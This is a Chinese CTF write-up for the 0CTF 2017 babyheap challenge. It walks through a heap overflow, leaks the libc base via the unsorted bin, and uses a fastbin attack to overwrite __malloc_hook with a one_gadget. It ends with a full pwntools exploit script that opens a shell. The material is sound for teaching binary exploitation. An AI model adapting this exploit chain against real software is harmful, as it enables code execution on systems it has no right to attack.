0ctf2017-babyheap调试记录fastbin-attack
Posted xingzherufeng
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了0ctf2017-babyheap调试记录fastbin-attack相关的知识,希望对你有一定的参考价值。
查看文件类型和保护开启情况,发现全保护开启,一般为堆溢出,无法改写got表,思路一般往malloc_hook转变。
运行程序观察执行大概流程。经典的菜单题目。
Allocate操作,输入分配字节大小以及标记。
Fill操作,输入分配的块号以及分配大小和填充内容。
Free操作,输入删除的块号进行删除。
Dump操作,输入需要处理的块号,打印出块的内容。
放入ida中,观察alloc功能函数发现,使用calloc函数进行内存分配,其特点为每次分配都会清空缓冲区。申请的块最大不超过4096字节。有结构体保存分配标记、分配大小以及分配地址。
Fill函数功能为进行内容填充,但是此处输入的长度由自己设置且和申请时长度设置无关,导致堆溢出。
Free函数首先根据块标记判断是否被释放,然后将释放标记置0,长度置0,指针置NULL,不存在UAF。
Dump函数主要打印堆块内容,无漏洞利用。
Leak libc_base
首先思路是要泄漏libc的基地址,本题漏洞在于存在一个堆溢出漏洞,可以越界写。又关注到当内存中只有一个small chunk或large chunk时,其内存指向libc上某处地址,然后我们就可以讲其打印出来,在经过计算就可以获得libc的基地址。
我们知道,fast chunk释放后会加入fast bin中,且fast bin使用后入先出规则,即当第一块fast chunk释放后,在.data数据段上的fast bin会在相应的index位中放入它的地址(不是返回给用户的地址,是实际地址),然后如果释放第二块fast chunk(假设大小一样),此时fast chunk会被放入fast bin相应的index位中,并且后释放的fast chunk在其fd位置会放入前一个释放的fast bin块的地址(实际地址)(fast bin为单链表,由fd指针连接)。我们可以利用fast chunk申请和释放的特点通过堆溢出修改后释放的fast chunk的fd指针所保存的地址,从而实现连续两次释放fast chunk,然后堆溢出修改保存的fd处的地址,再通过连续两次malloc(第一次将后释放的fast chunk申请出来,第二次将后释放的fast chunk的fd指针处保存的地址处的fast chunk申请出来)就可以拿到某个堆块的控制权(本题通过修改为small chunk的地址获得其控制权)。
但是要注意,fast chunk在malloc时有安全检查,即为判断chunk size与fastbin_index是否匹配。其中index计算方式为:(chunk size) >> (SIZE_SZ == 8 ? 4 : 3) – 2,在64位平台上SIZE_SZ为8。我们只要在申请前通过堆溢出将原本的small chunk的size字段修改为fast chunk的大小即可。由于我们之前申请了4个0x10大小的fast chunk,一个0x80大小的small chunk,因此small chunk的大小需要修改为0x21。
由于上图从0块开始覆盖,注意第一个0x21覆盖的是1块的大小,第二个0x21覆盖的是第2块的大小。由于之前释放的是1和2块,因此我们还需要将第2块的fd指针的最后一个字节修改(fd的低字节紧接在size字段后面,p8即表示一个字节数据)。
上图修改了第3块即small chunk前一块开始覆盖到small chunk的size字段,以绕过malloc检查。
这时候执行2此alloc即可在第一次获得原来第2块的地址,而第二次即可拿到small chunk地址的控制权。
上图首先需要将之前修改的small chunk的值修改回来,其次需要注意,如果当内存中只有一个small chunk时,释放改small chunk后fd并不会指向libc的某处。因此此处先alloc一个small chunk(这个chunk没有实际用处,只是为了释放原先small chunk时能够使原先small chunk的fd指针指向libc地址)。
这时候我们就可以dump出fd所指向的值(由于下标为4的chunk已经被释放,而下标为2的chunk通过修改地址方法分配到了原先下标为4即small chunk的地址),其中0x3c4b78为main_arena+x的地址,减去它即得到libc基地址(在fastbin为空时,unsortbin的fd和bk指向自身main_arena)。
这里提一下如何找到main_arena地址,我们只要在libc的导出表中搜索malloc_trim函数,然后跳到函数伪c表示即可看到上图的地址,这就是main_arena的地址。
但是small chunk所泄漏出来的是main_arena+x地址,我们有个巧妙的办法可以获得真实的偏移,我们双击上图的main_arena地址处,会发下如下图所示,然后我们只要往下找,发现的第一个dword值即为真实偏移(从unk_3C4B28开始)
可见,真实偏移值为0x3c4b78。(做了几个类似题目,这样找都没错,算是取巧吧)。其实从实验来看,small chunk所泄漏的libc地址实际上为top chunk地址,而这个地址距离main_arena的偏移是不变的(我猜的,因为暂时没遇到变的情况),其值为0x58,而malloc_hook到main_arena的距离为0x10。有了上述数据就可以计算出libc的实际地址。
执行execve("/bin/sh")
我们成功泄漏libc基地址后,我们下一步要做的是想办法执行execve("/bin/sh")。这里需要了解malloc_hook的作用,它在main_arena前0x10字节处。当调用malloc时如果该指针不为空就执行它指向的函数,因此我们可以写malloc_hook来get shell。
我们可以看到main_arena-0x10处即为malloc_hook指针所在地址,但是乍一看该指针前面空间貌似没有可以malloc的内存空间,这里仔细看的话可以看到一个0x60,我们重新查询,通过构造一个偏移来看看
我们以上述地址即可构造一个满足malloc检查的fast chunk。
我们先重新申请一个0x60大小的fast chunk,然后将它释放掉,接着通过下标2的堆块(实际控制初始的small chunk)修改fd的值为之前0x60的地址(libc_base+0x3c4b20-0x40+0xd)。我们现在申请一个0x60大小的fast chunk,会将之前释放的fast chunk申请回来(即通过堆块2修改过fd的fast chunk),此时fast chunk的fd值处的地址会放入fast bin中,这时候在申请一个0x60大小的堆块即可获得malloc_hook写的权限,此时我们构造payload将其覆盖为get shell函数的地址即可,注意偏移。
关于这个payload的构造,首先看下图,我们申请的地址为0x7fef6f717aed,这个地址是包含chunk head的地址,实际分配给我们的地址从+0x10处开始。我们又知道malloc_hook地址从0x7f0ed67f9b10处开始,由下图我们可以计算出,我们需要填充16+3个字节,即上述payload所写的p8(0)*3即为下图高亮的3个字节,p64(0)*2即为上一行的16个字节,填充完即紧接着覆盖malloc_hook为one gadget所找到的地址。
我们这里使用第二个gadget,因为别的不管用,哈哈哈哈哈。
完整exp如下:
1 #!/usr/bin/env python 2 3 from pwn import * 4 import sys 5 6 context.log_level = "debug" 7 8 elf = "./0ctfbabyheap" 9 ENV = {"LD_PRELOAD":"/lib/x86_64-linux-gnu/libc.so.6"} 10 11 p = process(elf) 12 13 def alloc(size): 14 p.recvuntil("Command: ") 15 p.sendline("1") 16 p.recvuntil("Size: ") 17 p.sendline(str(size)) 18 19 def fill(idx, content): 20 p.recvuntil("Command: ") 21 p.sendline("2") 22 p.recvuntil("Index: ") 23 p.sendline(str(idx)) 24 p.recvuntil("Size: ") 25 p.sendline(str(len(content))) 26 p.recvuntil("Content: ") 27 p.send(content) 28 29 def free(idx): 30 p.recvuntil("Command: ") 31 p.sendline("3") 32 p.recvuntil("Index: ") 33 p.sendline(str(idx)) 34 35 def dump(idx): 36 p.recvuntil("Command: ") 37 p.sendline("4") 38 p.recvuntil("Index: ") 39 p.sendline(str(idx)) 40 p.recvline() 41 return p.recvline() 42 43 #gdb.attach(p) 44 alloc(0x10) 45 alloc(0x10) 46 alloc(0x10) 47 alloc(0x10) 48 alloc(0x80) 49 50 free(1) 51 free(2) 52 53 payload = p64(0)*3 54 payload += p64(0x21) 55 payload += p64(0)*3 56 payload += p64(0x21) 57 payload += p8(0x80) 58 fill(0, payload) 59 60 payload = p64(0)*3 61 payload += p64(0x21) 62 fill(3, payload) 63 64 alloc(0x10) 65 alloc(0x10) 66 67 payload = p64(0)*3 68 payload += p64(0x91) 69 fill(3, payload) 70 alloc(0x80) 71 free(4) 72 73 libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78 74 log.info("libc_base: "+hex(libc_base)) 75 76 alloc(0x60) 77 free(4) 78 79 payload = p64(libc_base+0x3c4aed) 80 fill(2, payload) 81 82 gdb.attach(p) 83 alloc(0x60) 84 alloc(0x60) 85 86 payload = p8(0)*3 87 payload += p64(0)*2 88 payload += p64(libc_base+0x4526a) 89 fill(6, payload) 90 91 alloc(255) 92 93 p.interactive()
参考:https://bbs.pediy.com/thread-223461.htm
以上是关于0ctf2017-babyheap调试记录fastbin-attack的主要内容,如果未能解决你的问题,请参考以下文章